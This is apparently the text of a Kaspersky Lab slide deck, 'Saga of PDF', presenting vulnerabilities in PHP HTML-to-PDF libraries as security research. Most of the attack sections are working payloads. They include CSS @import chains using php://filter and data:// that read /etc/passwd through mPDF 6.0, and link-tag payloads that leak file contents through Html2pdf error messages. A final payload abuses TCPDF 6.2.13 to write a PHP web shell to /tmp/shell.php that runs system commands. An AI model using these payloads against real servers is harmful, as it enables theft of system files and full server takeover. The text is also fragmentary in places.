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Ø Income/Outcome
Ø Deposit/Withdrawal
Ø Statistics
Ø E-tickets
Ø Document template
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Kaspersky Lab  |  Saga of PDF35

Twilight



DOM PDF component: Code Injection

Kaspersky Lab  |  Saga of PDF36

Twilight



Waiting for fix
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DOMPDF -> mPDF 6.0

Kaspersky Lab  |  Saga of PDF38

Interlude
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mPDF 6.0 component: Arbitrary File Reading
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New Moon

@import url('file:///.css?/../etc/passwd) ');



mPDF 6.0 component: Arbitrary File Reading

Kaspersky Lab  |  Saga of PDF45
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file:///.css?/../etc/passwd
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base64_decode(BASE64DATA) -> file

url(data:image/jpeg;base64,BASE64DATA);
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New Moon

./tmp/_tempCSSidata7130_0.jpeg

http://site.com/mPDF/tmp/_tempCSSidata7130_0.jpeg
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New Moon

.cssclass { 

background: url(".to_mPDF/tmp/_tempCSSidata8791_0.jpeg");

} 

.cssclass { 

background: url(data:image/jpeg;base64,BASE64DATA);

} 

$CSSstr



mPDF 6.0 component: Arbitrary File Reading
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New Moon

Base64(JPEG header + target file contents)
BASE64DATA
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New Moon

@import 
url('data://text/plain/.css?;base64,LmFmcmluY3NzIHsKYmFja2dyb3VuZDogdXJsKGRhdGE6a
W1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3QkRBQW
NGQlFZRkJBY0dCZ1lJQndjSUN4SUxDd29LQ3hZUEVBMFNHaFliR2hrV0dSZ2NJQ2dpSEI0b
UhoZ1pJekFrSmlvckxTNHRHeUl5TlRFc05TZ3NMU3ovMndCREFRY0lDQXNKQ3hVTEN4VX
NIUmtkTEN3c0xDd3NMQ3dzTEN3c0xDd3NMQ3dzTEN3c0xDd3NMQ3dzTEN3c0xDd3NMQ3
dzTEN3c0xDd3NMQ3dzTEN3c0xDei93Z0FSQ0FBQkFBRURBUkVBQWhFQkF4RUIvOFFBRk
FBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQ1AvRUFCUUJBUUFBQUFBQUFBQUFBQUFB
QUFBQUFBRC8yZ0FNQXdFQUFoQURFQUFBQUVpZi');

@import url('php://filter/convert.base64-encode/resource=/.css?/../etc/passwd) ');

@import url('data://text/plain/.css?;base64,KTt9CgoK');

Final exploit
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New Moon

@import url('data://text/plain/.css?;base64, base64(.afrincss { background: 
url(data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAcFBQYFBAcGBgYI
BwcICxILCwoKCxYPEA0SGhYbGhkWGRgcICgiHB4mHhgZIzAkJiorLS4tGyIyNTEsNSgsLSz/2
wBDAQcICAsJCxULCxUsHRkdLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsL
CwsLCwsLCwsLCwsLCwsLCz/wgARCAABAAEDAREAAhEBAxEB/8QAFAABAAAAAAAAAAA
AAAAAAAAACP/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAEif)');

@import url('php://filter/convert.base64-encode/resource=/.css?/../etc/passwd) ');

@import url('data://text/plain/.css?;base64,KTt9CgoK');

Final exploit
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New Moon

@import url('data://text/plain/.css?;base64,base64(.afrincss { background: 
url(data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAcFBQYFBAcGBgYI
BwcICxILCwoKCxYPEA0SGhYbGhkWGRgcICgiHB4mHhgZIzAkJiorLS4tGyIyNTEsNSgsLSz/2
wBDAQcICAsJCxULCxUsHRkdLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsL
CwsLCwsLCwsLCwsLCwsLCz/wgARCAABAAEDAREAAhEBAxEB/8QAFAABAAAAAAAAAAA
AAAAAAAAACP/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAEif)');

@import url('php://filter/convert.base64-encode/resource=/.css?/../etc/passwd) ');

@import url('data://text/plain/.css?;base64,base64();})');

Final exploit



mPDF 6.0 component: Arbitrary File Reading
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New Moon

.afrincss { background: 
url(data:image/jpeg;base64,/9j/4AAQS…_base64_of_normal_j
peg_file…Eif[SPACE]cm9vdDp4Oj…_base64_of_target_jpeg_f
ile_…A6MNoCg==[SPACE]);}

Final exploit
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New Moon

BASE64DATA[SPACE]BASE64DATA



mPDF 6.0 component: Arbitrary File Reading
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New Moon



mPDF 6.0 component: Arbitrary File Reading
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mPDF 6.0 component: Arbitrary File Reading

Kaspersky Lab  |  Saga of PDF58

New Moon

<style>

@import 
url('data://text/plain/.css?;base64,LmFmcmluY3NzIHsKYmFja2dyb3VuZDogdXJsKGRhdGE6a
W1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3QkRBQW
NGQlFZRkJBY0dCZ1lJQndjSUN4SUxDd29LQ3hZUEVBMFNHaFliR2hrV0dSZ2NJQ2dpSEI0b
UhoZ1pJekFrSmlvckxTNHRHeUl5TlRFc05TZ3NMU3ovMndCREFRY0lDQXNKQ3hVTEN4VX
NIUmtkTEN3c0xDd3NMQ3dzTEN3c0xDd3NMQ3dzTEN3c0xDd3NMQ3dzTEN3c0xDd3NMQ3
dzTEN3c0xDd3NMQ3dzTEN3c0xDei93Z0FSQ0FBQkFBRURBUkVBQWhFQkF4RUIvOFFBRk
FBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQ1AvRUFCUUJBUUFBQUFBQUFBQUFBQUFB
QUFBQUFBRC8yZ0FNQXdFQUFoQURFQUFBQUVpZi');

@import url('php://filter/convert.base64-encode/resource=/.css?/../etc/passwd) ');

@import url('data://text/plain/.css?;base64,KTt9CgoK');

</style><div class="afrincss">test</div>

Final exploit



mPDF 6.0 component: Arbitrary File Reading
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New Moon



There is nothing to do here
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Html2pdf component
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Html2pdf component
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Eclipse

/**
* HTML2PDF Library - main class
*
* HTML => PDF convertor
* distributed under the LGPL License
*
* @package Html2pdf
* @author Laurent MINGUET 
<webmaster@html2pdf.fr>
* @copyright 2016 Laurent MINGUET
*/
Based on TCPDF library



Html2pdf component
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Eclipse

/**
* HTML2PDF Library - main class
*
* HTML => PDF convertor
* distributed under the LGPL License
*
* @package Html2pdf
* @author Laurent MINGUET 
<webmaster@html2pdf.fr>
* @copyright 2016 Laurent MINGUET
*/
Based on TCPDF library
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Eclipse
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Eclipse



Html2pdf component: Arbitrary File Reading
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Eclipse

.afrincss { 
font-family: base64_encode(file_contents)

} 



Html2pdf component: Arbitrary File Reading
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Eclipse

.afrincss { font-family: base64_encode(file_contents) } 

<link type="text/css" href="data://text/plain;base64,fQ=="/>

<link type="text/css" href="php://filter/convert.base64-
encode/resource=/etc/issue"/>

<link type="text/css" 
href="data://text/plain;base64,LmFmcmluY3NzIHsKZm9udC1mYW1pbHk6"/>

<body><div class="afrincss">test</div></body>



Html2pdf component: Arbitrary File Reading
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Eclipse

.afrincss { font-family: base64_encode(file_contents) } 

<link type="text/css" href="data://text/plain;base64,base64(})"/>

<link type="text/css" href="php://filter/convert.base64-
encode/resource=/etc/issue"/>

<link type="text/css" href="data://text/plain;base64, base64(.afrincss { font-family:)
"/>

<body><div class="afrincss">test</div></body>



Html2pdf component: Arbitrary File Reading
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Eclipse

.afrincss { font-family: base64_encode(file_contents) } 



Html2pdf component: Arbitrary File Reading
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Eclipse

.afrincss { font-family: VWJ1bnR1IDE2LjA0LjQgTFRTIFxuIFxsCgo= }

<strong>TCPDF ERROR: </strong>Could not include
font definition file: vwj1bnr1ide2lja0ljqgtfrtifxuifxscgo=



Html2pdf component: Arbitrary File Reading
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Eclipse

.afrincss { font-family: VWJ1bnR1IDE2LjA0LjQgTFRTIFxuIFxsCgo= }

<strong>TCPDF ERROR: </strong>Could not include
font definition file: vwj1bnr1ide2lja0ljqgtfrtifxuifxscgo=



Html2pdf component: Arbitrary File Reading

Kaspersky Lab  |  Saga of PDF74

Eclipse

.afrincss { font-family: VWJ1bnR1IDE2LjA0LjQgTFRTIFxuIFxsCgo= }

<strong>TCPDF ERROR: </strong>Could not include
font definition file: vwj1bnr1ide2lja0ljqgtfrtifxuifxscgo=



Html2pdf component: Arbitrary File Reading

Kaspersky Lab  |  Saga of PDF75

Eclipse



Html2pdf component: Arbitrary File Reading: base64 pwn
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Eclipse

plaintext base64encoded 2x base64encoded
abc123@!# YWJjMTIzQCEj WVdKak1USXpRQ0Vq

plaintext base64encoded 2x base64encoded
abc123@!# ywjjmtizqcej wvdkak1usxprq0vq

In our case

Base64 behavior

base64 is a conversion of any 3 bytes to 4 bytes of b64-alphabet



Html2pdf component: Arbitrary File Reading: base64 pwn
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Eclipse

plaintext base64encoded 2x base64encoded
abc123@!# YWJjMTIzQCEj WVdKak1USXpRQ0Vq

plaintext base64encoded 2x base64encoded
abc123@!# ywj jmt izq cej wvdk ak1u sxpr q0vq

In our case

Base64 behavior

strtolower(base64_decode(camel_case_variation('wvdk'))) == 'ywj' 



Html2pdf component: Arbitrary File Reading: base64 pwn
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Eclipse

b64decode(WVDK).lower() => yp� =?= ywj [False]
b64decode(WVDk).lower() => yp� =?= ywj [False]
b64decode(WVdK).lower() => ywj =?= ywj [True]
b64decode(WVdk).lower() => ywd =?= ywj [False]
b64decode(WvDK).lower() => z�� =?= ywj [False]
b64decode(WvDk).lower() => z�� =?= ywj [False]
b64decode(WvdK).lower() => z�j =?= ywj [False]
b64decode(Wvdk).lower() => z�d =?= ywj [False]
b64decode(wVDK).lower() => �p� =?= ywj [False]
b64decode(wVDk).lower() => �p� =?= ywj [False]
b64decode(wVdK).lower() => �wj =?= ywj [False]
b64decode(wVdk).lower() => �wd =?= ywj [False]
b64decode(wvDK).lower() => ��� =?= ywj [False]
b64decode(wvDk).lower() => ��� =?= ywj [False]
b64decode(wvdK).lower() => ��j =?= ywj [False]
b64decode(wvdk).lower() => ��d =?= ywj [False]
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Eclipse

.afrincss { font-family: base64_encode(file_contents) } 

<link type="text/css" href="data://text/plain;base64,fQ=="/>

<link type="text/css" href="php://filter/convert.base64-encode/convert.base64-
encode/resource=/etc/issue"/>

<link type="text/css" 
href="data://text/plain;base64,LmFmcmluY3NzIHsKZm9udC1mYW1pbHk6"/>

<body><div class="afrincss">test</div></body>
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Eclipse
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Breaking Dawn
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution

<tcpdf method="writeDiskCache" 
params="a%3A2%3A%7Bi%3A0%3Bs%3A14%3A%22%2Ftmp%2Fshell.php
%22%3Bi%3A1%3Bs%3A44%3A%22%3C%3Fphp+system%28%27id%3B+w
hoami%3B+ls+-lah%27%29%3Bdie%28%29%3B%3F%3E%22%3B%7D">

<tcpdf method="AddFont" 
params="a%3A2%3A%7Bi%3A0%3Bs%3A10%3A%22%2Ftmp%2Fshell%22
%3Bi%3A1%3Bs%3A11%3A%22shellFamily%22%3B%7D">
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution

urlencode(serialize(
["/tmp/shell.php","<?php system('id; whoami; ls -lah');die();?>"]

));

urlencode(serialize(
["/tmp/shell","shellFamily"]

));
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution
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Breaking Dawn

TCPDF 6.2.13: Remote Code Execution
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The Saga is Over
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The Saga is Over

Component SSRF Disclosure AFR RCE

DOMPDF

mPDF

html2pdf

TCPDF
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Is it really over?



Questions?


